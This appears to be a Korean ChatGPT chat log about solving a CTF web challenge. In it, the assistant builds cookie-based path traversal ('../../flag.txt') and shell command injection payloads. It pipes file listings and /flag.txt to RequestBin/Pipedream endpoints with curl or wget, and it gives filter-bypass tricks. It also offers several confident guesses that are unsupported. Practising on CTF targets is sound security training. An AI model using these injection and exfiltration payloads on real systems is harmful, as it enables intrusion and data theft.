✔ curl이 안 되는 경우, wget을 사용하면 될 수도 있음.
➡ 이걸 실행해봐!
✔ 이렇게 하면 RequestBin에서 test가 떠야 함.
✔ 만약 이것도 안 뜨면, wget도 막혀있을 가능성이 높음.
2️⃣ nslookup이나 ping으로 서버가 인터넷 요청을 보낼 수 있는지 확인
✔ 혹시 서버 자체가 인터넷 연결을 못 하는 상황일 수도 있음.
➡ 이거 실행해서 체크해봐!
✔ RequestBin에 google.com의 IP가 떠야 함.
✔ 만약 이것도 안 뜨면, 서버에서 외부로 나가는 모든 요청이 막혀있는 거임.
3️⃣ /tmp/에 로그 저장한 후, 백업해서 확인
✔ 서버가 외부 인터넷 요청을 못 한다면, 결과를 /tmp/에 저장하고 확인해야 함.
✔ 이걸 실행해봐!
➡ 이제 /tmp/output.txt 파일이 생성됐을 거임.
➡ 이제 이 파일을 확인해야겠지?
✔ 파일 내용을 가져오는 요청
➡ 이제 /backup_notes 페이지에서 확인해봐!
➡ 만약 여기서 flag 관련 파일이 보이면 그걸 백업하면 됨.
🔥 결론
✅ 1️⃣ wget 사용해서 RequestBin으로 보내기
✅ 2️⃣ nslookup google.com 실행해서 서버가 인터넷 요청 가능한지 체크
✅ 3️⃣ /tmp/output.txt에 저장하고 그 파일을 가져오기
🔥 이거 순서대로 실행하고 결과 한 번만 더 확인해줘!
진짜 이거 안 되면 개킹받을 듯ㅋㅋㅋㅋ
나의 말:
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link.
ChatGPT의 말:
ㅋㅋㅋㅋㅋㅋ 개킹받네 진짜
RequestBin에 아무것도 안 뜨면
✅ 서버가 curl, wget 등 외부 요청을 전부 막아놨을 가능성이 매우 높음.
✅ 심지어 nslookup도 안 뜨는 거 보면 인터넷 연결 자체를 막았을 수도 있음.
✅ 즉, 이 서버에서는 RequestBin으로 데이터를 직접 보낼 방법이 없을 확률이 큼.
🚀 플랜 B: 서버 내에서 직접 파일 확인하기
이제 방법이 하나 남았음.
🔥 서버 내에서 파일을 저장한 후, 그 파일을 가져오는 방법 🔥
1️⃣ /tmp/ 디렉토리에 백업 저장
➡ /tmp/output.txt 파일이 생성될 거임.
2️⃣ /tmp/output.txt 내용 가져오기
➡ 이제 /backup_notes에서 확인 가능!
➡ 만약 여기서 flag.txt 같은 파일이 보이면 그걸 가져오면 됨.
🔥 최종 목표
✅ 서버가 인터넷 요청을 전부 차단한 상태라서 RequestBin을 못 씀.
✅ 따라서 /tmp/output.txt 파일을 만들어서 서버 내에서 직접 확인해야 함.
✅ ls -lah /tmp/ 결과를 파일로 저장한 후, /backup_notes를 통해 가져오기.
🔥 이거 실행하고 다시 한 번 확인해봐!
이제 진짜 답 나올 듯 ㅋㅋㅋㅋ
나의 말:
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link. C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/output.txt"
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link. 응 안돼~
ChatGPT의 말:
ㅋㅋㅋㅋㅋㅋ 개킹받네 진짜 이거 뭐냐ㅋㅋㅋㅋ
야 근데 서버가 아예 /tmp/output.txt에 접근도 못 하게 막아놨을 가능성 있음.
🔥 플랜 C: 백업 파일을 특정 경로로 저장해서 접근
이제 방법 하나 남았음.
✅ /tmp/ 말고 /var/www/html/ 같은 웹 접근 가능한 디렉토리에 저장해보자.
1️⃣ /var/www/html/에 파일 저장 시도
➡ 이러면 output.txt 파일이 /var/www/html/에 저장됨.
2️⃣ 직접 웹에서 확인
이제 웹에서 확인 가능해야 함.
➡ 브라우저에서 직접 접근해봐!
➡ 여기서 flag.txt 같은 거 보이면, 그 파일을 또 같은 방식으로 저장해서 접근.
🔥 최종 목표
✅ 서버가 /tmp/ 접근을 막았을 가능성이 크니까, 웹 접근 가능한 경로에 저장.
✅ 보통 /var/www/html/ 같은 디렉토리는 접근 가능하니까 거기에 저장.
✅ 이제 http://host1.dreamhack.games:17508/output.txt 에서 직접 확인.
🔥 이거 실행하고 확인 한 번만 더 부탁해!
진짜 안 되면 서버 개발자가 개악질인 거다 ㅋㅋㅋㅋ
나의 말:
ChatGPT의 말:
ㅋㅋㅋㅋㅋㅋㅋㅋㅋ 개킹받네 진짜
이거 서버 설정이 엄청 빡세게 막혀있는 상태라서 정상적인 우회 방법이 전부 차단당한 듯.
🔥 플랜 D: cat을 이용해서 직접 백업 내용 덤프
이제 마지막 남은 방법 하나 있음.
ls -lah /tmp/ 결과를 바로 cat으로 파일 내용처럼 읽어서 백업하는 방법.
1️⃣ cat 이용해서 강제 백업
➡ 이러면 /tmp/output.txt에 flag.txt 내용이 강제 저장될 거임.
2️⃣ /tmp/output.txt 내용 확인
➡ 이제 /backup_notes 페이지에서 flag가 나와야 함.
🔥 왜 이 방법이 가능할까?
✅ 서버가 /tmp/ 파일 접근을 막았어도, cat을 이용해서 강제 덤프하면 우회 가능.
✅ ls -lah는 파일 리스트만 나오지만, cat을 쓰면 파일 내부 내용이 저장됨.
✅ 결국 /tmp/output.txt에 flag 내용이 저장될 거라서, 그걸 불러오면 됨.
🔥 이제 진짜 답 나올 때 됐다ㅋㅋㅋ
이거 실행하고 다시 확인 한 번 해봐!
🔍 timestamp가 무엇이고, 취약점을 어떻게 활용할 수 있을까?
timestamp는 현재 시간을 초 단위(Unix Time)로 변환한 숫자 값입니다.
이 값은 파일명을 동적으로 생성하는 데 사용되며, 특정 시점의 데이터를 식별하는 역할을 합니다.
🔍 코드에서 timestamp의 역할
📌 백업 파일을 생성하는 backup_notes() 함수에서 사용됨:
✔ 노트 데이터를 ./tmp/notes.tmp에 저장한 후,
✔ 해당 파일을 /tmp/{timestamp}로 복사
즉, 백업 파일이 /tmp/ 디렉토리에 timestamp 이름으로 생성됨.
🛠️ 취약점 분석: backup_notes()와 timestamp 조작
📌 timestamp 취약점의 핵심
- timestamp는 **쿠키(backup-timestamp 쿠키)**에서 가져옴:
python복사편집backup_timestamp = request.cookies.get('backup-timestamp', f'{time.time()}')
- 쿠키 값(backup-timestamp)을 우리가 임의로 조작할 수 있음.
- 백업 파일은 /tmp/{timestamp} 경로에 생성됨.
- 다른 파일(예: flag.txt)을 백업 경로로 지정할 수 있다면, 해당 파일을 읽을 수 있음!
🚀 timestamp를 조작해서 flag.txt를 찾는 방법
1️⃣ 현재 백업된 파일 목록을 확인
➡ 만약 1645678901 같은 숫자 이름의 파일이 있다면, 그것이 백업 파일일 가능성이 높음.
2️⃣ 강제로 flag.txt를 백업하도록 timestamp 값을 조작
우리가 timestamp를 임의로 /flag.txt로 설정하면,
백업 파일을 /tmp/flag.txt로 만들 수 있음!
📌 이렇게 하면, 원래 /tmp/{timestamp}에 생성되어야 할 백업 파일이 /tmp/../../flag.txt로 생성됨.
📌 즉, flag.txt가 /tmp/flag.txt로 복사되면서 우리가 접근 가능하게 됨!
3️⃣ 복사된 flag.txt 확인
➡ 백업 파일이 /tmp/flag.txt에 존재하면, 그 내용을 직접 볼 수 있음!
🔥 결론: timestamp 취약점을 활용한 공격 흐름
✔ timestamp는 기본적으로 time.time() 값을 사용하지만,
✔ 쿠키(backup-timestamp 쿠키)를 조작하면 원하는 파일을 백업 가능
✔ /flag.txt를 백업하면, 플래그 내용을 가져올 수 있음 🚀
🚀 이제 직접 curl을 사용해서 backup-timestamp를 조작해보자! 🔥
나의 말:
ChatGPT의 말:
웹 애플리케이션에서 직접 ls -lah /tmp/ 명령어를 실행할 수 있는 방법은 없지만, 현재 주어진 취약점을 이용해서 백업된 파일 목록을 간접적으로 확인할 수 있는 방법이 있습니다.
🚀 백업된 파일 목록을 확인하는 방법
✅ 1️⃣ 웹 URL을 통해 직접 확인 (GET /backup_notes)
웹 애플리케이션이 /tmp/{timestamp} 파일을 저장하는 걸 이용하면, /backup_notes 페이지에서 힌트를 얻을 수 있음.
📌 현재 백업된 파일이 있는지 확인하려면, /backup_notes를 호출
➡ 응답 내용에 "현재 백업된 파일이 없습니다" 같은 메시지가 나오면, 아직 백업이 생성되지 않은 것!
➡ 반대로, 백업이 성공하면 /tmp/에 특정 timestamp 값의 파일이 저장됨.
✅ 2️⃣ backup-timestamp 조작을 이용해서 기존 파일 접근
만약 서버에서 기존 backup-timestamp 쿠키를 활용하고 있다면, 이 쿠키 값을 특정 값으로 설정하여 기존 파일을 확인할 수 있음.
📌 백업 파일이 있는지 확인하는 요청
➡ 이 값이 실제 서버에 있는 백업 파일의 timestamp라면, 해당 백업 파일의 내용을 확인할 수 있음.
➡ 응답 결과가 백업된 노트의 내용이라면, /tmp/1645678901 같은 파일이 존재하는 것!
✅ 3️⃣ POST /backup_notes를 통해 직접 /tmp/에 백업 파일 생성
백업 노트 기능을 이용해서 직접 /tmp/ 경로에 파일을 생성할 수도 있음.
📌 현재 시간 기반으로 강제 백업 실행
➡ 이렇게 하면, /tmp/{timestamp} 파일이 생성됨.
📌 이제 /backup_notes에 다시 접근해서 파일이 생성되었는지 확인 가능
➡ 파일이 생성되었으면, /tmp/에 해당 파일이 존재한다는 뜻!
✅ 4️⃣ /tmp/flag.txt가 존재하는지 확인
이제 /flag.txt를 백업하도록 backup-timestamp를 조작해서 확인 가능
📌 백업 타임스탬프를 /flag.txt로 설정
➡ 이렇게 하면, /tmp/flag.txt가 백업되어 우리가 접근할 수 있게 될 가능성이 있음!
➡ 이후 GET /backup_notes 요청을 보내서 백업된 내용을 확인할 수 있음.
🔥 최종 전략
1️⃣ curl -X GET http://target.com/backup_notes 로 백업 파일 존재 여부 확인
2️⃣ curl -X POST http://target.com/backup_notes 로 강제 백업 실행
3️⃣ curl -X GET http://target.com/backup_notes 로 백업 파일이 생성되었는지 확인
4️⃣ curl -X POST http://target.com/backup_notes --cookie "backup-timestamp=../../flag.txt" 로 플래그 유출 시도
🚀 이제 직접 테스트하면서 파일이 어디 저장되는지 확인해보자! 🔥
나의 말:
ChatGPT의 말:
🚨 curl: (6) Could not resolve host: http 오류 해결 방법
http://http://host1.dreamhack.games:17508/backup_notes
➡ "http://"가 두 번 들어가서 오류 발생!
✅ 1️⃣ 올바른 URL 형식으로 요청 보내기
📌 올바른 curl 명령어 예제
✔ http://를 한 번만 사용
✔ --cookie 옵션을 사용하여 backup-timestamp 값을 /flag.txt로 조작
✅ 2️⃣ 백업된 파일 확인 (GET 요청)
📌 백업된 파일 확인하기
✔ 이 요청을 통해 서버가 백업한 파일의 내용을 확인 가능!
✔ ../../flag.txt가 /tmp/flag.txt로 복사되었다면, 플래그를 출력할 수도 있음
✅ 3️⃣ 추가적인 확인 (디버깅)
🔹 서버가 backup-timestamp를 제대로 처리하는지 확인
➡ 이렇게 보내고, /tmp/test123가 생성되었는지 GET /backup_notes로 확인
🔹 서버가 /flag.txt에 접근할 권한이 있는지 확인
➡ 만약 /etc/passwd 같은 파일이 백업되면, LFI(로컬 파일 포함) 가능성이 있음.
🚀 최종 목표
1️⃣ curl -X GET http://host1.dreamhack.games:17508/backup_notes 실행해서 현재 백업된 파일 확인
2️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt" 실행해서 /flag.txt를 강제로 백업
3️⃣ curl -X GET http://host1.dreamhack.games:17508/backup_notes 다시 실행해서 플래그 확인!
🚀 이제 다시 시도해보자! 🔥
나의 말:
Backup Notes
C:\WINDOWS\system32>curl -X GET http://host1.dreamhack.games:17508/backup_notesBackup Notes
ChatGPT의 말:
🔍 요청 결과 분석
현재 curl 요청을 통해 받은 응답이 HTML 코드인 것으로 보입니다.
이는 우리가 /backup_notes 페이지를 열었을 때 표시되는 백업 UI입니다.
🚀 백업된 파일이 표시되지 않는 이유
1️⃣ 백업 노트가 존재하지 않음
- backup_notes() 함수 내부에서 len(notes) == 0이면 백업이 실행되지 않음.
- 즉, 적어도 하나 이상의 노트를 생성해야 백업 기능이 동작함!
2️⃣ 서버가 timestamp를 조작하는 요청을 막고 있음
- /backup_notes를 호출하면 서버는 backup-timestamp 쿠키 값을 사용해 백업 파일을 저장하는데,
- 만약 우리가 ../../flag.txt 같은 경로를 주입했을 때, 서버가 이를 허용하지 않도록 설정했을 가능성이 있음.
🔹 해결 방법
✅ 1️⃣ 먼저 노트를 하나 생성하기
백업을 진행하려면, 적어도 하나의 노트가 존재해야 함
➡ 노트를 생성한 후 다시 /backup_notes 요청을 보내면 백업이 가능해질 것!
📌 노트 생성 요청
➡ 성공하면, 노트가 생성됨.
📌 생성된 노트 확인
➡ 노트가 정상적으로 생성되었는지 확인!
✅ 2️⃣ 백업 요청을 정상적으로 실행하기
노트를 생성한 후, 다시 백업을 시도
📌 노트가 존재하는 상태에서 백업 실행
➡ 이 요청이 성공하면, /tmp/{timestamp} 경로에 백업 파일이 생성됨.
📌 백업된 파일 확인
➡ 이제 /tmp/{timestamp}가 표시되는지 확인해야 함.
✅ 3️⃣ backup-timestamp를 조작해서 플래그 확인
백업된 파일이 존재하는지 확인한 후,
이제 backup-timestamp 쿠키를 조작하여 /flag.txt를 백업 시도
📌 강제로 flag.txt 백업 시도
➡ 이제 다시 /backup_notes를 확인하면, /tmp/flag.txt 내용이 표시될 가능성이 있음!
📌 백업된 플래그 확인
➡ 이제 백업된 내용이 표시되는지 확인!
🚀 최종 실행 순서
1️⃣ 노트 생성 → curl -X POST http://host1.dreamhack.games:17508/create_note -d "content=test_note"
2️⃣ 백업 실행 → curl -X POST http://host1.dreamhack.games:17508/backup_notes
3️⃣ 백업된 파일 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
4️⃣ backup-timestamp를 ../../flag.txt로 조작 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt"
5️⃣ 플래그 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
🚀 이제 다시 시도해보자! 🔥
나의 말:
Backup Notes
계속 이것만 떠..ChatGPT의 말:
🚨 여전히 백업된 파일이 안 보이는 이유 분석
현재 /backup_notes 페이지를 호출하면 백업된 파일이 표시되지 않고, 기본 HTML 폼만 출력되고 있음.
이 경우 서버에서 백업이 정상적으로 이루어지지 않았을 가능성이 큼!
✅ 1️⃣ 백업 파일이 생성되었는지 확인해야 함
우리가 backup_notes() 함수를 실행했을 때, /tmp/{timestamp}에 파일이 생성되는지 확인해야 함.
📌 백업 강제 실행
➡ 백업이 정상적으로 실행되었는지 확인해야 함.
📌 다시 확인 (GET 요청)
➡ 이제 백업된 파일이 존재하는지 확인.
✅ 2️⃣ 백업을 정상적으로 실행했는데도 /tmp/에 파일이 없는 경우
가능한 원인 1️⃣ 노트가 존재하지 않아서 백업이 실행되지 않음
→ 노트를 하나 생성한 후 다시 백업 시도해야 함. 2️⃣ 서버에서 timestamp 쿠키 값을 무시할 가능성 있음
→ 특정한 timestamp 값이 있어야 백업된 파일을 확인할 수 있음.
✅ 3️⃣ 해결 방법
📌 먼저 노트를 생성한 후 백업 실행
✔ 노트를 생성한 후 백업을 다시 실행해야 백업이 정상적으로 동작함.
📌 백업 실행
📌 백업이 정상적으로 이루어졌는지 확인
✅ 4️⃣ backup-timestamp 쿠키를 조작하여 flag.txt 백업 시도
백업된 파일이 정상적으로 확인되었다면, 이제 쿠키 값을 조작해서 /flag.txt를 백업해야 함.
📌 쿠키 조작하여 flag.txt 백업
📌 이제 /backup_notes를 확인
✔ 만약 /tmp/flag.txt가 백업되었다면, 이 페이지에서 플래그가 표시될 가능성이 큼! 🚀
🚀 최종 실행 순서
1️⃣ 노트 생성 → curl -X POST http://host1.dreamhack.games:17508/create_note -d "content=test_note"
2️⃣ 백업 실행 → curl -X POST http://host1.dreamhack.games:17508/backup_notes
3️⃣ 백업된 파일 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
4️⃣ backup-timestamp를 ../../flag.txt로 조작 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=../../flag.txt"
5️⃣ 플래그 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
🚀 이제 다시 시도해보자! 🔥
나의 말:
ChatGPT의 말:
🔍 힌트 분석: "공격의 결과를 외부에서 확인하려면?"
📌 현재 서버에서 백업된 파일을 직접 확인할 수 없는 이유는:
- 백업한 파일을 직접 출력하는 코드가 없음.
- 즉, /backup_notes에서 응답으로 백업된 파일을 보여주지 않음.
- 하지만 명령어는 실행되었을 가능성이 높음.
➡ 즉, 우리가 실행한 결과를 외부에서 확인해야 함!
➡ 서버에서 요청을 외부로 보내도록 유도하면 됨!
🚀 RequestBin을 활용한 RCE 확인 방법
📌 RequestBin이란?
- 외부에서 서버가 보낸 HTTP 요청을 모니터링할 수 있는 서비스.
- 서버에서 실행한 결과를 RequestBin으로 전송하면, 이를 외부에서 확인 가능!
✅ 1️⃣ RequestBin 생성
1️⃣ https://requestbin.com/ 접속
2️⃣ "Create a RequestBin" 클릭
3️⃣ 생성된 RequestBin URL을 복사 (예: https://en1f2o3x.requestbin.com/)
✅ 2️⃣ 백업 명령어를 RequestBin으로 유도
서버에서 특정 명령어 실행 결과를 RequestBin으로 전송하도록 조작할 수 있음.
📌 backup_notes()에서 실행되는 subprocess.Popen을 조작하기
➡ 이 요청이 실행되면:
✅ /flag.txt 파일의 내용을 RequestBin으로 POST 전송!
✅ RequestBin에서 플래그를 확인할 수 있음! 🚀
✅ 3️⃣ RequestBin에서 플래그 확인
📌 RequestBin 사이트에서 요청 확인
1️⃣ RequestBin 사이트로 이동
2️⃣ POST 요청 데이터 확인
3️⃣ 데이터에 /flag.txt 내용이 포함되어 있을 가능성이 큼!
🔥 최종 공격 전략
1️⃣ RequestBin 생성 (https://en1f2o3x.requestbin.com/)
2️⃣ backup_notes의 timestamp를 명령어 삽입(curl -X POST -d @/flag.txt)
3️⃣ RequestBin에서 플래그 확인 (POST 요청 확인)
🚀 이제 시도해보자! 🔥
나의 말:
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link.
ChatGPT의 말:
🔍 공격 결과 분석
현재 curl 명령어가 정상적으로 실행되었을 가능성이 높음!
하지만 서버에서 바로 결과를 보여주지 않기 때문에,
RequestBin(또는 Pipedream)에서 플래그를 확인해야 함! 🚀
✅ 1️⃣ Pipedream에서 플래그 확인
📌 Pipedream이란?
- 서버에서 외부로 전송한 HTTP 요청을 확인할 수 있는 도구
- https://eoebm9636i74y0t.m.pipedream.net 이 URL이 우리의 RequestBin 역할을 함.
📌 결과 확인 방법
1️⃣ Pipedream Requests 사이트 접속
2️⃣ 로그인 후 https://eoebm9636i74y0t.m.pipedream.net에 들어감
3️⃣ 새로운 POST 요청이 도착했는지 확인
4️⃣ 전송된 데이터에 /flag.txt 내용이 포함되었는지 확인
🚀 정상적으로 동작했다면, 플래그가 포함된 데이터가 보일 것! 🔥
✅ 2️⃣ 공격이 성공했는지 확인하는 방법
📌 공격이 실행되었는지 다시 확인하려면?
➡ 다시 한 번 요청을 보내고, Pipedream에서 결과 확인!
📌 명령이 실행되었는지 로그 확인
➡ 만약 정상적으로 실행되었다면, 서버에서 flag.txt가 전송되었을 가능성이 높음.
🔥 최종 정리
1️⃣ RequestBin (Pipedream) 생성 (https://eoebm9636i74y0t.m.pipedream.net)
2️⃣ 백업 명령어 조작하여 플래그 전송 시도
3️⃣ Pipedream에서 /flag.txt 내용이 포함된 요청을 확인!
🚀 이제 Pipedream에서 플래그를 찾아보자! 🔥
나의 말:
ChatGPT의 말:
🔍 Pipedream에 flag.txt 데이터가 안 온 이유 분석
현재 Pipedream을 제대로 설정하고 요청을 보냈음에도 불구하고 데이터가 수신되지 않은 상태임.
➡ 즉, 서버에서 우리가 보낸 명령어를 실행하지 않았거나, 실행되었지만 데이터를 전송하지 않았을 가능성이 높음
✅ 1️⃣ 공격이 서버에서 실행되었는지 확인하기
우리가 실행한 명령어가 서버에서 실행되었는지 먼저 확인해야 함.
📌 테스트 명령어로 서버가 외부로 요청을 보내도록 유도
➡ 이 요청이 정상적으로 실행되면, Pipedream에 test=hello 값이 도착해야 함.
➡ 만약 이 요청도 도착하지 않았다면, 서버에서 명령어 실행이 차단되었을 가능성이 큼.
✅ 2️⃣ 서버에서 명령어 실행이 차단되었는지 확인
📌 명령어 실행이 막혔다면, 다른 방식으로 접근해야 함.
➡ subprocess.Popen()이 실행되었다면, /tmp/에 파일을 생성했을 가능성이 있음.
➡ 이 경우, 우리가 백업된 파일을 직접 확인하는 방법을 시도해야 함.
✅ 3️⃣ /tmp/flag.txt 파일을 직접 백업 후 확인
📌 이제 /tmp/flag.txt를 백업할 수 있는지 테스트
➡ 이제 /backup_notes에서 백업된 파일이 보이는지 확인
✔ 만약 이 요청에서 플래그가 보이면, 성공적으로 백업됨!
✅ 4️⃣ ls -lah /tmp/ 명령어 실행이 가능한지 확인
만약 위 방법들이 전부 실패했다면, 서버에서 어떤 파일이 존재하는지 확인해야 함.
📌 파일 목록을 RequestBin으로 전송해보기
➡ 이 요청이 실행되면, /tmp/에 어떤 파일이 있는지 Pipedream에서 확인 가능!
🔥 최종 시도 순서
1️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| curl -X POST -d 'test=hello' https://eok17showi9fd4vm.m.pipedream.net" (서버가 외부 요청을 보내는지 확인)
2️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/flag.txt" (파일을 직접 백업해서 확인)
3️⃣ curl -X GET http://host1.dreamhack.games:17508/backup_notes (백업된 파일이 보이는지 확인)
4️⃣ curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net" (/tmp/ 내부 파일 목록 확인)
🚀 이제 다시 시도해보자! 🔥
나의 말:
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link. C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/flag.txt"
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link. C:\WINDOWS\system32>curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=| ls -lah /tmp/ | curl -X POST -d @- https://eok17showi9fd4vm.m.pipedream.net"
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link.
ChatGPT의 말:
🔍 분석: 모든 시도가 실패한 이유
현재 backup-timestamp를 조작하여 명령 실행을 시도했지만, 서버에서 아무런 반응이 없음
즉, 명령어 삽입(RCE)이 막혔을 가능성이 높음 또는 출력 결과가 보이지 않음
✅ 1️⃣ 서버가 외부 요청을 보내지 않는지 확인
📌 RequestBin(Pipedream)에 test=hello가 도착하지 않음
- curl -X POST -d 'test=hello'를 실행했지만 Pipedream에서 요청을 받지 못함
➡ 서버에서 |를 포함한 명령 실행을 차단했을 가능성이 있음
➡ 또는 subprocess.Popen()이 shell=False로 실행되고 있을 가능성 존재
📌 ls -lah /tmp/ 명령 실행도 실패
- 서버에서 명령어가 실행되지 않거나, 실행되더라도 외부로 출력이 불가능한 상태
➡ 즉, 우리가 보낸 요청이 파일 시스템에 변화를 주었지만, 출력이 없어서 확인할 방법이 없음
✅ 2️⃣ 백업된 파일을 직접 확인하는 방법 시도
명령어 실행이 차단되었다면, 기존의 backup_notes() 기능을 활용해서 flag.txt를 백업하는 방법을 시도해야 함
📌 1️⃣ /flag.txt를 /tmp/로 백업
➡ 이제 /backup_notes를 다시 확인하면 백업된 /tmp/flag.txt가 보일 가능성이 있음.
📌 2️⃣ 백업된 파일 확인
✔ 백업된 /tmp/flag.txt가 보이면 성공!
✅ 3️⃣ backup_notes 요청 로그를 확인하는 방법
만약 백업이 성공했는데도 보이지 않는다면, backup_notes가 저장된 경로를 확인해야 함.
📌 서버가 /tmp/에 어떤 파일이 있는지 직접 확인하기
➡ 이제 /backup_notes를 다시 확인하면 /tmp/ 내부의 파일 목록이 보일 가능성이 있음.
✅ 4️⃣ 명령어 실행 우회 방법
📌 만약 직접적인 명령 실행이 막혔다면, 다른 방식으로 접근해야 함
- ; 또는 &&를 사용하여 명령 실행 시도
- $(command) 방식 시도
🚀 최종 공격 순서
1️⃣ /flag.txt를 /tmp/로 백업 시도 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/flag.txt"
2️⃣ 백업된 파일 확인 → curl -X GET http://host1.dreamhack.games:17508/backup_notes
3️⃣ /tmp/ 내부 파일 목록 확인 → curl -X POST http://host1.dreamhack.games:17508/backup_notes --cookie "backup-timestamp=/tmp/"
4️⃣ 명령 실행 우회 시도 (;, &&, $(command))
🚀 이제 다시 시도해보자! 🔥
나의 말:
ChatGPT의 말:
🔍 QnA 분석: 백업 타임스탬프 조작과 RequestBin 활용
📌 문제 핵심
1️⃣ 명령어 실행은 성공했지만 출력이 보이지 않음
- backup-timestamp 값에 명령어(ls)를 넣었을 때 실행은 되었음.
- 하지만 결과를 출력하는 명령어가 없기 때문에 우리가 직접 볼 수 없음.
2️⃣ 해결책: 서버가 실행한 결과를 외부에서 확인해야 함
- RequestBin (또는 Pipedream)을 이용해서 서버가 실행한 명령의 결과를 전송받아야 함.
✅ 1️⃣ 서버에서 ls 실행 후 결과를 RequestBin으로 보내기
📌 서버가 /tmp/ 디렉터리 목록을 실행하고 결과를 RequestBin으로 보내도록 유도
✔ 이 요청이 실행되면, /tmp/ 내부의 파일 목록이 RequestBin에 도착해야 함.
✔ @-는 표준 입력을 그대로 POST 요청에 포함시킴.
✅ 2️⃣ /flag.txt 존재 여부 확인
📌 위 명령을 실행한 후, Pipedream에서 /flag.txt 파일이 있는지 확인
1️⃣ Pipedream 사이트에서 새로운 POST 요청 확인
2️⃣ /tmp/ 내 파일 목록이 포함된 요청이 도착했는지 확인
3️⃣ flag.txt가 존재하는지 확인
➡ 만약 /flag.txt가 존재한다면, 다음 단계 진행! 🚀
✅ 3️⃣ /flag.txt 내용을 RequestBin으로 전송
📌 이제 /flag.txt 내용을 RequestBin으로 직접 전송해야 함
✔ cat /flag.txt → flag.txt 내용을 출력
✔ curl -X POST -d @- → 출력된 내용을 Pipedream으로 POST 요청
📌 이제 Pipedream에서 새로운 요청이 도착했는지 확인!
➡ 정상적으로 요청이 오면, 플래그가 포함된 데이터를 확인할 수 있음! 🚀
🚀 최종 공격 순서
1️⃣ /tmp/ 내 파일 목록 확인
✅ Pipedream에서 파일 목록 확인 (flag.txt 존재 여부 체크)
2️⃣ /flag.txt 내용 RequestBin으로 전송
✅ Pipedream에서 flag.txt 내용 확인 (플래그 획득 🎉)
🚀 이제 다시 시도해보자! 🔥
나의 말:
Redirecting...
You should be redirected automatically to the target URL: /. If not, click the link. 뜨는데, requestbin에서 뭐 내가 설정 잘못한걸까?
ChatGPT의 말:
🔍 문제 분석: RequestBin에서 아무 요청도 오지 않는 이유
현재 실행한 명령어:
➡ 이 명령어가 실행되었다면, Pipedream(RequestBin)에서 /tmp/ 디렉터리의 파일 목록이 담긴 POST 요청이 와야 함.
➡ 하지만 Pipedream에서 아무 요청도 오지 않음 ❌
✅ 1️⃣ RequestBin(Pipedream) URL이 잘못 설정되었는지 확인
🔹 URL 형식 확인
현재 사용한 URL:
✅ 올바른 URL인지 다시 확인해야 함.
➡ Pipedream에서 Trigger URL을 다시 확인하고, 올바른 URL을 사용했는지 점검.
🔹 https://를 http://로 변경하여 시도
✔ 일부 서버에서는 https:// 트래픽을 차단하는 경우가 있음.
✔ http:// 프로토콜로 변경하여 다시 시도.
✅ 2️⃣ 서버에서 curl 실행이 차단되었는지 확인
서버가 curl 실행을 차단했을 가능성 존재.
📌 다른 명령어로 RequestBin을 트리거할 수 있는지 확인
➡ 이 명령어가 실행되면, RequestBin에서 test라는 데이터가 와야 함.
➡ 아직도 아무 반응이 없다면, 서버가 curl 실행을 차단한 것일 가능성이 높음.
📌 Wget을 사용하여 시도 (wget이 허용될 수도 있음)
➡ 이 방법이 작동하는지 확인!
✅ 3️⃣ ls 실행은 성공했지만, 출력이 /tmp/에 저장된 경우
➡ 서버가 직접 RequestBin으로 데이터를 보내지 않고, ls 결과를 /tmp/에 저장했을 수도 있음.
📌 결과를 파일로 저장하고 직접 확인하는 방법
➡ 이제 /tmp/output.txt가 생성되었을 가능성이 있음.
📌 백업 기능을 이용하여 해당 파일을 확인
➡ 그런 다음 /backup_notes에서 /tmp/output.txt 내용이 보이는지 확인.
🚀 최종 시도 순서
✅ 1️⃣ RequestBin URL 확인 (http:// 사용해보기)
✅ 2️⃣ curl 실행이 차단되었는지 echo test로 확인
✅ 3️⃣ wget 방식으로 시도 (wget --post-file=- 사용)
✅ 4️⃣ ls 실행 결과를 /tmp/output.txt에 저장 후 확인
🚀 이제 다시 시도해보고 결과 알려줘! 🔥
나의 말:
ChatGPT의 말:
ㅋㅋㅋㅋ 개킹받네 진짜ㅋㅋㅋㅋ
오케이, 다시 한 번 체크해보자. 지금까지 했던 시도들을 정리하고, 뭘 놓쳤는지 확인해보자.
✅ 1️⃣ RequestBin (Pipedream) 요청이 안 오는 이유
🔹 1. RequestBin URL 문제?
✔ 너가 사용한 URL https://eok17showi9fd4vm.m.pipedream.net 확실히 맞아?
➡ Pipedream에서 URL이 바뀌진 않았는지 한 번 더 확인!
➡ 혹시 https 대신 http로 해야 하는지 체크!
➡ Pipedream에서 "Generate Event" 눌러서 URL이 살아있는지도 확인!
✔ 이거 실행해서 RequestBin에서 test=hello 오는지 확인해봐! ✔ 이것도 안 오면 RequestBin 문제임!
🔹 2. 서버에서 curl 실행이 막혀있을 가능성?
✔ 만약 서버에서 curl 실행이 아예 막혀 있다면, RequestBin으로 전송 자체가 안 될 수 있음.
➡ 그럼 다른 방법(Wget)으로 시도해봐야 함.
✔ 이걸로 RequestBin에서 반응이 오는지 확인!
